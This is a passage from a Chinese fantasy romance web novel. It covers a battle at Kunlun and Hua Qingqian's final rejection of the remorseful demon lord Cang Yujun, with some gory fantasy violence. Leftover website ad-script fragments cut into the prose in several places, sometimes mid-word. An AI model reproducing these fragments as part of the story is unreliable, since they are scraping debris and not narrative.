青甲女将军身形高瘦,气质利落干练,此刻慌乱的模样却有几分可爱。花清浅向来不忍苛责美人,再三安慰她没关系,又问:“这么说,将军是有了心上人么?” 秋照难为情地垂下眼——这就是有了,花清浅暗道。 隔了一会,秋照双颊终于不再那么羞红,她抬起头来,小声说道: “我见神君大道无情,万万年凡心冰封不动,姑娘却能在五十年之内成功将他拿下、不是,成功让他动心,可见很有些本事。” “我那心上人也有些难搞,所以就,就想同姑娘领教一二。当然,要等这次昆仑围困解开之后……” 她还没说心上人是谁,就见花清浅噗地一笑,说道:“没问题,我有空一定给将军出谋划策。对了,我确认一下,将军喜欢的是那位军师先生罢?” 有那么明显吗? 秋照几乎是惊恐地倒吸一口冷气。 这时正巧有部下来叫她,贵客上山,须得她前去亲迎。借着这个机会,她匆匆告辞,最后回眸一眼,看到花清浅笑得笃定而了然,心中更是纷乱。 - 贵客是意料之中的那位西陆妖尊,苍御峻。 秋照与妖尊不熟,见他带了不少西陆人马,还主动提出帮昆仑御敌,自然感激不尽,请他进驻下榻之处。 “花清浅住在哪里?”苍御峻不耐烦地道,“本座只有一个要求,把本座和她安排得近些。” 秋照将他与花清浅一行在山下的对峙看在眼里,自然明白他这是为了什么。 ——那位蛇妖生得很好看,是一种在美人如云的仙界也极为难得的漂亮,她从前还觉得凤凰神君为亡妻闭关多年,实在过于夸张,见到她本人之后,才理解了神君多年来都无法释怀的缘由。 凤凰神君都无法释怀,遑论是眼前定力更弱的妖尊。 她沉吟一瞬,答应了他的请求。 65. 第65章 恭送西陆妖尊后,周霖鹤正好办完杂事回来,做了个简短的汇报,风格一如既往,句句切中肯綮。 秋照听着他的汇报,既庆幸他没看出来她是故意支走他的,也有些隐隐的不安:他对随手一件小事都如此细心,难道对她的心思就没有一丝察觉吗? “将军?”周霖鹤见她一眨不眨望着自己,疑惑地将羽扇在她眼前晃了晃:“将军,想什么呢?” 秋照很快回神:“我在想,人魔究竟几时会到。” “如今有吕世子坐镇,又有西陆妖尊在此,昆仑不会有大碍的。”周霖鹤笑道,“将军不必太过忧虑。” 正是因为援兵赶到,昆仑困解,她才有空被儿女之思占据心神啊! 秋照压抑着叹了口气,不再看那张温润俊朗得叫人浮想联翩的脸,撇过眼说道: “话虽如此,吕世子千年前便有力竭的毛病,难保他上了战场不会再犯。再说西陆那些兵将,毕竟没有与我们配合过……不行,我待会得去跟苍御峻商量商量,好歹在人魔抵达之前练一次兵。” 她说着,一面转向桌上舆图,指尖灵力起落,点出几个西陆人马适合防守的位置。 见她决策果断,对局势把握炉火纯青,周霖鹤眸中不由带上一丝笑意。 从第一次见她的时候起,他就知道,她是这一代鸟族最为风华盖世的将军,就连吕浮白也及不上她。有他辅佐,她必能成就一番伟业,流芳后世百代! 如果秋照在这时回头,便能看到他满满热切的眸光,与往日寡淡截然不同。 但她只顾专心致志看着舆图,心里盘算着何时与苍御峻沟通御敌,便一如既往地错过了军师这为数不多流露出真情的时刻。 - 日渐西沉之时,昆仑顶峰洒满柔和的余晖,重重楼阁最高一层升起炊烟,警戒线上悬了一日的倦鸟纷纷归巢,由休息够了的卫兵顶上。 借着最后一缕日光,秋照例行巡查周边,盔甲覆盖的青羽长翅宽广有力,让她飞得又快又稳,不消片刻就掠过群峰,来到贵客所在的楼群。 花清浅这边也正在备饭,粥香勾着人往下沉,秋照深吸一口气,轻巧地落在高楼凸出的台架上,翅膀拍打两下,减缓冲力后收了起来。 蛇妖正捧着两只碗,与往锅下添柴的吕世子说笑,好像是关于鸟族用火有多方便的笑话,吕世子听得眸子微微眯起,满是无奈的宠溺。 在秋照久远的记忆里,这位大明王世子颇负鸟族傲气,最看不起外族神妖,更开不得本族玩笑。 如今他与蛇妖花清浅在一起,却变了副温和大气的模样,她想,这大约就是情爱带给人的成长罢。 听到她落地的声音,那两人齐齐朝这边看过来,花清浅惊喜叫道:“秋将军,你也来啦,我们正好一起用晚膳罢!” “……我刚刚来的时候,怎么没见你这么高兴。”旁边一道闷闷不乐的声音响起,秋照抬眼望去,这才发现苍御峻那张邪肆的轮廓也沉隐在此处,正对着花清浅嘀嘀咕咕。 花清浅没理他,径自叫吕世子熄了火,舀粥开饭。 这几人都聚于一处,可方便了秋照。她装作看不出眼下有些尴尬的氛围,率先在桌边坐下,说道:“小混沌戒就在昆仑主峰第三十二层楼内,今日过后世子与姑娘便可去守着。” “我已吩咐过那边的守卫,他们具体行动一应由两位差遣。” 她知道花清浅和吕浮白的目标就是小混沌戒,却还放心让两人看守。难得她如此信重,花清浅感动道谢,同吕浮白对视一眼,下定决心要全力保护神器。 苍御峻面无表情地抱起双臂:“那本座呢?” “妖尊身经百战,机动灵活,呆在结界内太浪费了,不如和本将军一起,在山外领兵。”秋照笑眯眯地恭维道,“对了,趁着还有空,最好能让西陆将士们在昆仑上练一练阵型,免得手生。” 论领兵对阵,苍御峻可不是她这般稳扎稳打的风格。 仗着法力刚猛,他偏好随性而至,飘忽突击,很少紧张兮兮地排练。听到秋照的提议,他想都不想便要拒绝,目光瞥过旁边的部下,却又改了主意。 “本座之前旧伤未愈,在山下又、咳咳,又添新伤,部下都说本座不宜动武了。”他十分艰难地咳嗽两声,接过部下极有眼色递来的药丸,仰脖咽下: “但秋将军放心,本座答应了要帮清浅护着昆仑,就一定会回护到底……将军想在何时练兵,本座随时恭候。” 妖尊声音低哑,咽药时露出的喉结竟有几分脆弱。 花清浅与他成婚数十载,深知他本性争强好胜,从没有见过他当众如此无力不堪的姿态,狐疑问道:“你不是拿到极光砂了么,怎么还有旧伤?” “他们孔雀族心毒,五色神光的伤哪会那么容易好。”苍御峻更加脆弱地垂下眼睫。 西陆部下一面给他顺气,一面望向花清浅,清了清嗓子道:“尊后有所不知,就连大明王妃有次被神光误伤,吕简亲自给她治,也治了大半个月才痊愈……尊上这次,可真是遭罪了。” “我不是尊后,别这么叫我。”花清浅下意识看了他一眼,皱眉说道。 那名部下顿时“噗通”一声跌跪在地,连连道歉,头都不敢抬,弄得花清浅有些莫名其妙,心道她眼神有这么吓人么,直把他吓成这副再起不能的样子? “行了,清浅没怪你。”苍御峻喉咙动了动,叫他起来。 这一幕简直倒反天罡——以前在西陆,把人吓得战战兢兢请罪的是他,心有不忍、替人求情的才是花清浅。 总算妖尊也学会体恤下属了,以后西陆宫中上下应当会安心不少。 花清浅挑眉心道。 苍御峻亲手把部下扶起来,牵扯到伤处,又是一阵惊天动地的咳嗽,把玉京子呼噜噜的扒饭声都盖了下去。 “妖尊没事吧?”秋照出声关心,花清浅刚挪过视线,想附和着问一句,就听旁边一声清脆的轻响。 是吕浮白放下了筷子。 她立刻转过头去:“你才吃了几口,这就不吃了?怎么啦,是粥米不合胃口么?” 吕浮 () { $(''.inform'').remove(); $(''#content'').append('' 白轻轻摇头,“我只是有些累了。” 他与她一路跋山涉水来到昆仑,跨越了凡间与仙界的边线,又在刚才放出神光与苍御峻对峙,想必耗费了大量神力,难怪会累成这样。 花清浅越想越心疼,当即也撂下筷子:“那我扶你去歇息。” “……无妨,我能自己走的。” 他坚持没要她扶,自己起身,欲盖弥彰地看了眼对面的苍御峻。花清浅这才想起来,这里还有位虎视眈眈的妖尊,时刻盯着她不许与他亲近呢。 “担心什么,你这么累也是为了我,我送你回房歇息,天经地义。有谁敢说半个不字,我自会与他理论一番!” 自从旧事重提,花清浅自忖对妖尊已经仁至义尽,无需在这时候还要看他眼色。 她不由分说,拉起吕浮白手臂便走,大明王世子低眉敛目,老老实实跟在她身侧,像是无可奈何,又像是幸福得没力气挣脱她那只纤细皓腕。 苍御峻被留在桌边,浑身冷得发颤,满眼戾气,阴沉恐怖,刚站起来的部下又噗通一声跪下,在地上瑟瑟发抖地匍匐着。 那道被他拿来当苦肉计、实则已经痊愈的五色神光旧伤,似乎当真开始从里到外层层溃烂,疼痛肆虐全身,他疼得心头发颤,痛不欲生,无声地尖叫着乞求她回头看他一眼、一眼就好, 可她不回头。 苍御峻就这样呆呆地、定定地看着她与吕浮白离开的背影,连呼吸也静止在她无视他的那一刻。 那两人的背影消失在门后,他仍维持着这个姿势,眼前仿佛仍是他们紧挨着的画面,那般清晰,又仿佛模糊成大片的光影,夹杂着纷乱的记忆,排山倒海般朝他涌来。 母亲羽化的那一年,他忙得焦头烂额,无暇伤心,她默默帮他分担了一半的政务,叫他尽管伤心; 某次他在宫中遭到偷袭,花清浅朝他拔足飞奔,眼泪一颗颗落到他脸颊边,求他不要死; 她帮他操练护卫阵法,要他切莫在战场上大意,一双漂亮的眸子专注地盯着他,那般小意温柔,含情脉脉。 与今日她看着吕浮白的模样,何其相似。 她紧张吕浮白的胃口,在意吕浮白的身体,回护吕浮白的面子,为此不惜与他正面相抗。 为了一只没见过几面的孔雀,她竟要与他“理论一番”。 她声音明明不大,却像晴日雷霆在他耳内轰炸,引起阵阵尖锐的嗡鸣。 这不是真的,这不是真的,花清浅不可能会这么关心另一个男子,而对他置若罔闻。 他的尊后,保证过会爱他一生一世,她答应过他母亲的,她答应过的—— 室内死寂无声,妖尊捂住心口,眼底血丝遍布,脸色煞白,秋照小心翼翼地说了什么,他全然没有听到。 一片惊疑惨淡的绝望里,他只顾着回想,终于想起那一日,之墨伙同朝臣在大殿给尊后公然使绊子,她望过来的厌倦目光。 他后知后觉,崩溃地想到。 从那个时候起,所谓的尊后之位,她是不是就不稀罕当了。 66. 第66章 这边苍御峻回想起往事,今昔对比,仿佛从心里被拉扯撕裂,痛得整个人都快要碎掉; 那边楼阁之上,气氛却是一片温馨静好。 昆仑楼阁高得惊人,窗扇开阔,便于鸟族攀飞,但花清浅一条水蛇,望着窗外丝丝缕缕的云片,总感觉足下悬空。因此,一开始是她扶着吕浮白上楼,没走几步,就换成吕浮白扶着她了。 “你们这些天生长了翅膀的,就是不一样。”好不容易进了屋,花清浅顺着气感叹道,“哎,虽然我也能爬云吧,但还是一到高空就犯怵,老是担心爬云动作太慢,跌下空里怎么好。” 水族对高空的恐惧,是刻在骨子里的,就如大多狸猫也不喜深海一般。吕浮白望着抿起红唇的小花蛇,在茶壶中添了冰叶煮茶,温声道:“待你修成应龙,便不必这么害怕了。” 又是应龙,他怎么跟傅玄似的,一心坚信她能那么有出息。花清浅摇了摇头,接过他煮好的清茶:“呃,我还是先修成蛟龙的好。” 反正蛟龙也能飞,至于应龙,那得看造化,她这辈子暂且还不敢想。 “好啦,你安心休息吧,我也回房啦。”喝完茶,她心跳平缓了些,放下茶杯就走,“人魔指不定什么时候来,你是上神,知觉比我们都敏锐些,开打了告诉我一声啊,我怕我睡得太死了。” 然而花清浅这话却是想多了,接下来的一天一夜,昆仑都是风平浪静。 直到周霖鹤算好的这一日,天光破晓,昆仑人人从爪子武装到鸟喙,立在警戒线上整装待发,西陆人马也听从秋照调度,防守有序,人魔森森的黑气才从山下一点一点地蔓延起来。 “那白鹤军师真是神了!”花清浅与吕浮白守在中央高楼的密室内,用千里镜望着山下的战况,一双水眸盛满惊叹:“人魔何其狡诈,他却能把他们的行踪摸得这么准,他是怎么算的啊!” 吕浮白淡淡道:“他不是算的,有人魔做他的内应。” “你怎么知道?” “……” 他不答话,花清浅就猜,他是吃醋了,听不得她夸别的男子聪明。 堂堂大明王世子,醋意居然这么大,说出去鸟族肯定都不信。她一面促狭地想着,一面从结界外凝出水针,远距离化水为冰,安抚道:“当然,在我心里,什么白鹤黑鹤都没你聪明啦。” 吕浮白平静抬眼,应声:“嗯。” 所以,他方才果真是在吃醋。 花清浅忍不住笑,素手一挥,十数根冰针温柔地从一个人魔小首领脑袋上穿透而过,剔透的冰针被黑血染脏,她有些嫌弃,让冰针重新化水成形。 这次她与吕浮白的任务是守戒,并不用去前线,但她仍时时刻刻关注着战况。 人魔数量并不多,但个个善于使诈,花清浅特别留意着较为阴暗的人魔动向,但凡见他们使出诡计,教昆仑将士处于下风的,便隔空用冰针出手。 她的动作又快又狠,且经过多年练习,灵力大涨,现在的冰针已经能穿透魔族护身黑气,做到一击毙命。 结界外,人魔只能看到冰针满场子飞窜,一旦出击必定命中,而操纵冰针的人却找不到踪影,一时间光顾着逃命,慌乱之下,冲坏了不少己方摆的阴阵。 不过在首领的指挥下,人魔很快重整旗鼓,更加不要命地冲向防线,这次他们三四个组成一队,严防要害,且并不与昆仑一兵一卒死磕,打两下换一个地方,辗转腾挪颇为灵活。 人魔出招紧凑短促,昆仑将士们应对稍有吃力,很快就让他们找到了结界灵力最薄弱之处,发起总攻。 高台之上,坐着短短两日就清减了不少的苍御峻。眼见底下黑压压的人魔像蚂蚁一般聚集成堆,他正好心情不佳,杀意顿生。 从高台一跃而起,他消瘦的臂膀在半空中被苍墨色长羽覆盖,伸展如伞,利爪如钩,转瞬间变成两人长的一头猛禽。 清晨日光被他厚实严密的羽翼遮挡,投到地下形成威慑力十足的影子,苍御峻在高空盘旋几圈,挑选着不那么倒人胃口的猎物,却忽然察觉到一道熟悉的注视。 是花清浅! 这道注视不带恶意,他几乎立刻分辨出来,这是花清浅,她正在通过千里镜,凝视着他的一举一动! 她是担心他吗?怕他在前线受伤,所以即使与吕浮白在一处,也放心不下他,要偷偷看着他? 她一双澄澈的水眸里满满都是他的身影,一想到这里,苍御峻心里激动就无法自持,忍不住想让她继续看着他,只看着他—— 他深吸一口气,稳住狂乱的心跳。 然后猛地翻转双翅回身,朝地面俯冲而下。 ——尊后喜欢鸟族,尤其喜欢羽毛好看的鸟族飞起来的样子。她曾说过,她喜欢这份自由的体态,也喜欢他们借着飞行冲力打击对手的俊美英姿。 这一次,他就让她看看,一个真正俊美的鸟族,杀起敌来是什么样的,才不是那种只会依仗神器、华而不实的孔雀族可比。 他瞄准正在跟秋照缠斗的高大人魔,一心琢磨着如何把那人掀在地上,没注意到有两只人魔爬云腾空,已经升到同样的高度,悄悄尾随在他身后。 “妖尊!”直到他快冲到地面,秋照从缠斗中抬起头,看到那两只意欲偷袭的人魔,才惊呼了一声:“小心背后!” 苍御峻在空中急停,却是为时已晚,那两只人魔满脸狞笑,手爪中的魔矢距鹞鹰尾翼已不足一尺! “闪开!” 生死攸关的一刻,花清浅忽然不知从哪里冒了出来,她显然早有准备,一手推开苍御峻,一手捏诀,灵力化冰为牢,结结实实困死了两只人魔的四肢,将其钉在地下。 苍御峻面上一片空白,鹰眸里却渐渐地、渐渐地浮现一丝喜色:“你,你来救我了,我就知道,我就知道你担心我。” 花清浅反手攻向一个人魔小队,没来得及答话。 “清浅……” “你向下俯冲的速度很快,但背后是盲点,我提醒过你,可你就是不听。”眼前最后一只人魔被他解决,花清浅转身,静静开口: “方才是最后一次救你,现在我们终于两清,我不欠你什么了。” “你说什么?”仿佛那道五色神光造成的伤口重新撕裂,疼痛伴着恐慌卷土重来,苍御峻眼中的光芒一点点黯淡下去,强撑着反驳:“不,不对,不是的,我们缘分还没尽,你还欠我两个愿望……” 花清浅面无表情,给地上苟延残喘的人魔补了最后一刀: “第一个愿望,你要跟着我们,我让你跟上了昆仑。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“在蔗县时,吕浮白见你第一面,原本是想杀你的,我拦下了他。救命之恩,应该能抵一个愿望吧?” 苍御峻想说不能,但此事并不由他说了算,花清浅认定了人人第一本愿都是要保命,她保了他一命,自然相当于消解了一个愿望。 就算他不认,可是在她那里,这笔帐也已经消掉了,本心自足,他不能再借天道对她强求。 “最后一愿,就是刚才。”花清浅看他反应过来,语气轻松了几分:“尊上,如今外界不太平,此间事了,你还是带西陆人马速速回去吧。” 苍御峻沉默不语,化作人形,将周围涌上的人魔一只只掼进地里,力道大得像是泄愤,半天才憋出一句:“你这样,算不算关心我。” “……” 花清浅觉得跟他没法沟通,转身欲走,被他惨白着脸抓住衣角。 “花清浅。”他连名带姓地叫她,声调嘶哑,但语带念力,这表明他接下来说的话全都发自本愿,即使没有信物,也有天道加持,不会更改: “只要你愿意回头……愿意要我,此后西陆妖尊换你来做,你来统领六九洲十二海,受万千妖众敬仰,我来当你的王夫。” 话说到这份上,花清浅其实有满腹的疑惑不解:他现在一副非她不可的样子,究竟是什么意思,如果他真的爱她,那之墨算什么? 如果他真的爱她,那三十年如一日的漠视、疏远,她生受的那些委屈,又算什么? 背后一只人魔猛扑过来,花清浅本能掐起法诀防守,灵力在身周凝成一堵法阵,幽幽蓝光映照出人魔丑陋的黑气,也将她从西陆的那段过往中拉了出来。 她神思霎时清明。 ——是了,就算他真的爱她又如何?都是无谓的前尘,她已经不在乎了。 “西陆风月上好,民属近来也安定,我关心你治下的百妖,并没有要取而代之的意思,尊上误会了。”她说: “我并不知道你现在这样,究竟是受了什么刺激,想来是之墨不在了,你想拿我填补心上空虚?” 拿她填补心上空虚。 她便是这样想他的么? 他给她留下的印象,就是这样的么? 苍御峻愣愣地听着,浑身都发起抖,痛得喘不过气来,不能出声反驳一句。 又或者是,他已经清楚,无论他说什么,她都不会信了。 “——但我早就跟你说过,花清浅就是这世上独一无二的小花蛇,我这一辈子,也不会活成他人的模样。”花清浅继续道,“所以关于尊后,你还是另请高明吧。” 像是被世上最锋锐的利刃捅进心口,苍御峻只觉所有热与血都在顷刻间汹涌流失,只剩下残烬,哀惶与绝望,冷得他从心尖到牙根颤抖不已。 他再也承受不住,濒临崩溃般弓起身子,周围嘈杂的拼斗声仿佛忽然淡去,离他三万丈,眼前没有纷乱的灵光,只有花清浅那张明艳小脸,以及张合的朱唇。 “不是,我没有……把你当成替代品。”他向来锐利的鹰眸满是哀苦,恳求般望着她,艰涩地开口,“不是这样的,清浅……” 不是这样的,他有千般错,她可以惩罚他,可以折磨他,怎么都行,可是不能误会他——他分明是爱她的。 他分明是爱她的。 67. 第67章 花清浅本不想说什么重话,但见苍御峻始终执念深重,周围交战激烈,他却不管不顾,只顾惨白着脸拉住她的袖子,最后一丝耐心也消耗殆尽。 “我不想与你再有任何干系,尊上,为人该有自知之明。” 说完后,她干脆甩开他的手,掐诀腾云,朝供奉小混沌戒的高楼飞去。 刚飞出几寸,却忽然有一股森寒的杀气从后方袭来,她警惕转身,见到一头面目奸猾的人魔正持刀砍向苍御峻,而他仍怔怔呆在原地,似是被她的话打击到动弹不得。 要命了,万一妖尊死在这里,岂不是她花清浅的因果? 没有任何犹豫,她指尖法诀飞速变幻,腾云咒转瞬变为防御阵,蓝色灵光大作,凝出繁复花纹的法阵挡住那人魔的长刀,发出“铛啷”一声脆响。 因为骤然撤下腾云咒,她身子落到地上,稍微趔趄了一下。 虽然她很快就稳住了身形,但战场搏命,最细微的错处也会被人牢牢抓住,第二只人魔头目早就埋伏在旁边,见她露出破绽,顿时呲牙朝她胸前刺来! 花清浅尽力躲闪,却仍被他刺中了肩膀,就在这短短一瞬间,此前吕浮白所赠的护身金甲金光大作,人魔剑尖没能刺破她身体,然而剑上毒素一般的黑气却像活物似的飞窜,袭上她鼻尖—— 她急速后撤,停气闭脉,用灵力压制黑气,却仍来不及,眼前一黑,晕倒在了地上。 几乎是护身金甲被刺中的那一瞬间,吕浮白冷峻的身影赫然出现。 这一刻天地静止,苍御峻无比真实地感受到,这不是他之前那些恍惚的幻觉,而是实实在在的万物静寂,连苍穹中的流云都仿佛被巨大神力强行停止。 大明王世子年岁应该比苍御峻大不了多少,此刻却浑身透出古老如鸿蒙开辟般的威压,让人不寒而栗。 他沉沉看了妖尊一眼,黑漆漆的眸子里没有多少情绪,也没有多话,打横抱起花清浅,消失在原地。 周围的一切终于又开始活动,苍御峻反应过来,赭黄色的眼瞳变得赤红,他疯了一样地撞过去,喉咙像是被人活生生碾碎,声音颤抖到极致,恍若崩溃:“清浅——” 然而没有人答他,花清浅的身影已经消失不见,只剩下无数人魔被神光烧到筋骨的痛嚎。 太吵闹了。 苍御峻面无表情地想。 盖过了她的呼吸声,这群人魔,太吵闹了。 他阴鸷地抬起眼,随手抓住一片草叶,化叶为刃,将刚才伤到花清浅的人魔从脑后生砍到半腰。 仿佛不为取命,只为宣泄,人魔血淋淋的肉块铺满一地,血浆飞溅到近在咫尺的妖尊脸上,但皮囊却还没死,在地下睁着眼睛浑身抽搐,被掏空了内里的一张皮,活着比死了还要受罪。 苍御峻满身戾气,看着比人魔还要暴虐,周边鸟族将士都被他的残忍惊到,梗着脖子不敢说话。 于是昆仑顶峰仿佛变成死寂的坟场,只有人魔一个接一个被妖尊屠杀殆尽的血肉扑哧声,连哀嚎也没有,因为妖尊第一个挑断的便是他们的喉骨。 如此虐杀,连天道也不容,过不多时,昆仑顶空就轰隆隆地响起了雷声。 苍御峻置若罔闻,如同浴血修罗般,向下一个没来得及逃走的人魔走去。 - 安顿好伤员,秋照从医楼飞出,一面听取周霖鹤的战报(昆仑大捷,人魔败走),一面视察山体,俯瞰到苍御峻这般情状,忙从空中落下,挡在他的身前。 “够了,妖尊。”她眉宇凛冽,严肃说道,“人魔该死,但这剩下的几十只苟延残喘,送他们上路也该干净利索,你再这样下去,会沾染杀孽的。” 苍御峻咧嘴一笑,露出白森森的牙齿:“本座造的杀孽,难道还少么?” 秋照一顿。 “让开。”苍御峻没了耐性,草叶化成的利刃对着前方没有放下,距离秋照近在咫尺,威胁意味明晃晃令人心惊。 一直冷眼旁观的周霖鹤有些担心,下意识上前两步,秋照却并没有退缩,抵着刃尖劝道: “妖尊,清浅姑娘如今就在我部医楼内,不知什么时候就能醒过来。是要在此处继续泄愤,还是去医楼守在她身边,还请好好斟酌!” 提起花清浅,苍御峻手中利刃仍攥得死紧,眼底杀戮之意却稍稍减退,俊眉微蹙,竟透出些无措和委屈来。 “清浅身边……身边有吕世子陪着。”他垂下眼,声音干涩得像能拧出血来,“本座害她受伤,她大概,是不想见到本座的。” 原来是近乡情更怯,秋照松了口气,不动声色地用尾羽暗器料理了那几十只满地打滚的人魔,而后循循善诱道:“清浅姑娘到底是因为你受的伤,于情于理,你都该在旁边守着啊。” 西陆妖尊锋利五官被血色浸染,神情却变得惶然颓靡,刚才的杀伐果断消失得无影无踪。他犹豫了片刻,才颤抖着扔了兵刃,朝秋照指的方向缓缓飞去。 随着他飞远,昆仑上空的雷云渐渐散开,秋照目送他的背影,发现鹞鹰稳如钢铁的双翼在空中居然趔趄了一下,惊奇道:“这妖尊也是个性情中人。” 不知道花清浅与妖尊有何恩怨,为了收拾残局,贸然将他支到花清浅身边,好像对大明王世子有点不大厚道——但、但是,看那吕世子比从前成熟了不少,他应该能应付过去的。 秋照有点忐忑地想着,朝周霖鹤招了招手,说道:“人魔狡诈,难保不会佯装撤退又反攻,走,我们再去巡视一圈山下安防。” 人魔大军主力被神光要了性命,剩下的被妖尊吓得跑出几十里地,她亲自确认过,怎么可能是佯退。如今她这么说,只是不想在短时间内回到医楼,与吕世子他们撞上而已。 她这点小心思,倒是……挺可爱的。 周霖鹤把一点笑意咽回肚子里,应声跟在她身后,白翅伸展,化为仙鹤,同身披铠甲的青鸟乘风飞起。 - 此次昆仑部防守得当,受伤的人很少,又因为秋照特别嘱咐,花清浅被安排在清静的三楼安歇。 穿过狭长的走廊,苍御峻几乎不知道自己是如何来到房门前的,浑浑噩噩地隔着门缝看她,看她犹未睁开的双目,白如瓷片般的脖颈,以及纤细得像是轻轻一碰就会折断的手腕。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>吕浮白和玉京子坐在她床边,后者没有察觉到门外有人,只哭丧个脸支着下巴,等她醒来。 孔雀世子当然对妖尊的造访一清二楚,却也没有分出目光落到他身上,最后苍御峻薄唇动了动,轻手轻脚推开门进去。 一看见他,玉京子的脸色就更黑了,他知道自己这条命是妖尊救回来的,也知道正因为此,花清浅才会跟这妖尊扯上关系,如今又因为他受伤—— “我欠你一条命,你以后找我还,不要牵连清浅了。”他用最公事公办、不卑不亢的语气说道,“行吗,西陆尊上?” 苍御峻一眨不眨地看着床上的花清浅,低声道:“你不欠本座什么。” 从头到尾,他想与之有交集的人就是花清浅,只是她一人,旁人于他都无所谓。 可时至今日,便是她也不欠他什么了。 做尊后的第一年,她就在上哄他母亲开心,在下借力打力统御群臣,连宫中内外仆从都治得服服帖帖。 最初上位时,西陆全境还不大安稳,他在外征战,宫中眼线来报,俱是说尊后昨日躲过了几个坑、今日又被几人为难。 可每每当他回去,见到的却总是花清浅四两拨千斤,不动声色将万事打理妥帖的模样。 仿佛不需要他这个尊上,她一人也能将西陆治理得很好。 “清浅外表柔弱,其实修为不低,术法也强,并不需要人保护……”他自言自语,近乎梦呓般地回忆道,“可本座就是,想保护她。” 他终于剖开了最底层的那颗心。 ——其实他并没有那么蠢,他不爱之墨,他自己是能分清楚的。 他喜欢花清浅,想同她亲近,想保护她,就算再不愿承认,他心里也是隐隐能感知到的。 可多数时候,花清浅是那般无所不能,令他也相形见绌,于是他便默许了之墨和其他妖族对她的为难——其实只是想要她向他求助,给他一次保护她的机会而已。 “你分明伤她最深。”吕浮白淡淡开口,声音克制,冷意仍是彻骨:“说什么保护,你保护了个什么?” 他知道花清浅已经放下了西陆的过往,她去救苍御峻,只是因为不想担因果,与苍御峻这个人本身没有关系。 但他仍然迁怒。 如果不是苍御峻纠缠不休,花清浅根本不会置身满是人魔的战场,根本不会被人魔头目寻到时机偷袭。 伤到她的这股黑气,在此前人魔的兵刃上从未出现过,是以昆仑医师也不知如何对付。好在吕浮白用神力替花清浅扫了一遍筋脉,将残余的黑气硬生生逼了出去,她这才没有大碍。 苍御峻呢,他保护了她什么? 这句诘问彻底将妖尊钉死在原地。 他失魂落魄地看着床上躺着的小花蛇,似乎过了好几个时辰,才终于发觉她眼皮似乎颤抖了一下。 害怕眼前这一幕是幻觉,他甚至屏住了呼吸:“清浅——” 花清浅睁开眼,目光扫过床边的妖尊,心情顿时变差。 “叫他出去。”她转向玉京子,朝苍御峻的方向一指,显然连话都不肯直接与他说了。 68. 第68章 这次苍御峻没有多做纠缠,似乎生怕她动怒,很快依言退了出去。 甚至还乖觉地阖上了门。 这人如此上道,花清浅倒是不好再说什么。她舔了舔唇,转向目前更为要紧的麻烦——床前坐着的那位眸光淡淡,显然就不是心情很好的样子。 “那个,我……”她才刚硬着头皮开口,就见他凭空捧出一杯温茶,送到她手边,只得先接了茶水,喝下几口,润过嗓子之后继续道: “我能感觉到我心境突破了,或许今年内就能化蛟,这次也算因祸得福啦。” 与苍御峻的羁绊了断,她居然就突破了心境,可见他们之前纠葛多深。 吕浮白垂眸,没有说话,安静地从她手中接过残盏。 以为转移话题的尝试没有奏效,花清浅有点慌,抓着茶盏不松手,与他对视:“我不是故意受伤,更不是为了苍御峻受伤的,你别生气啊。” 吕浮白和声道:“我没有生气。” “他不生气,我很生气!”玉京子不满被她忽略,插着腰站起来,“清浅,那个妖尊死活关你什么事,要你不顾危险去救他?” 他越来越生气:“他之前对你那么不好,你还不忍心让他死?还说我笨呢,你自己明明是笨得没边了。” 眼见吕浮白眸色不动,意味深长,花清浅忙瞪了玉京子一眼,大声解释:“我是为了还他人情而已,你懂不懂啊?” 在西陆的那三十年,他对她的确没有好脸色,但也实实在在放权给她。“我拿过他的赏赐,承过他的人情。”她坦然承认,“经此一役,我们才算彻底两清。” 吕浮白听她说起过往,语气中不再有怨念和委屈,变成了彻底的无波无澜。 她与西陆妖尊的事,他从来不愿去深想,但从她话中也能推断出一二。 两人有过爱恨,三十年之久,其间种种,计较起来不是易事,苍御峻正是利用了这一点,才敢腆着脸回头找她。 可他大概没有想到,花清浅一旦要计较,便一分一厘都要计较得清清楚楚,任凭他百般不甘,也是无用。 正如同更久之前,她在心里偷偷决定要假死,离开傅玄的时候,也是不管傅玄如何,都要断个干净。 花清浅皱着鼻子把玉京子差遣出去,转头看到吕浮白神色黯然,试探出声道:“你想什么呢?” 他在想,被她抛弃以后的滋味生不如死,他不要再经历一次了。 “我在想,以后你若看不惯我,要直接说与我听。”吕浮白说,“你不喜欢的地方,我都会改,改得很快。你喜欢什么样的爱人,你告诉我,我也会学。” 只是不要,在心里一声不吭地宣判他的死刑。 花清浅不明所以:“我哪有看不惯你?你现在这样挺好啊。” “我只是怕……”吕浮白眸光微闪,咳嗽一声说道,“怕我跟那位妖尊一样,无意中伤害到你,自己却不知道,致使你心灰意冷,再无转圜余地。” “你跟苍御峻本来就不一样!”花清浅气愤地叫道,“他哪是无意伤我,他根本就是有意的,你别乱吸取他的教训啊,他怎么能跟你相比?” 门口传来“哗啦”一声,像是什么汤汤水水洒到了地上,花清浅后知后觉抬眼,看到苍御峻一手僵硬地停在半空,俊脸惨白,像是凝结了平生未有的悔痛与悲哀。 - 苍御峻是给她送汤饭来的。 他亲手做的汤饭,用的是昆仑本地细米,之前他看她吃得很香,料定她喜欢。 因为动作太急,他把汤饭装到木盒里的时候,还烫到了手。 手背烫红了一片,很是显眼,他却不觉得疼,甚至有些开心,因为这次的伤是真正为她受的,并不算苦肉计。 他想,求她回心转意的道路很漫长,但他们终究还没完,她舍不得他死,他还是有机会的。 总还是有机会的,他一直这样想着,才支撑着杀了太多人魔的身体,一路端着汤饭飞到她门前,绞尽脑汁想着开场白,然后听到一句“他怎么能跟你相比”。 挥了太多次刀刃的手腕终于没了力气,汤饭跌落在地,染脏他新换的红色袍角,渗过衣料,将他连同整个五脏六腑的内里烫得发凉。 仿佛生火熬煎,不可收拾。 - 他怔怔地望着花清浅,隔了半晌,才吞咽了一下喉咙,颤声道:“清浅,从前都是、都是我错了,但我求你,重新给我一次机会——” “一次就好,求你——”他语无伦次,抛弃了所有傲骨,赭黄色的眸子近乎崩溃地锁定在她身上,袍角湿透,看上去分外狼狈。 花清浅却没怎么认真听他说话,她目光下移,只注意到医楼房间门口原本干干净净,被他搞得一团糟。 汤饭洒了一地,收拾起来会很费劲,想到这里,她头疼地皱起眉。 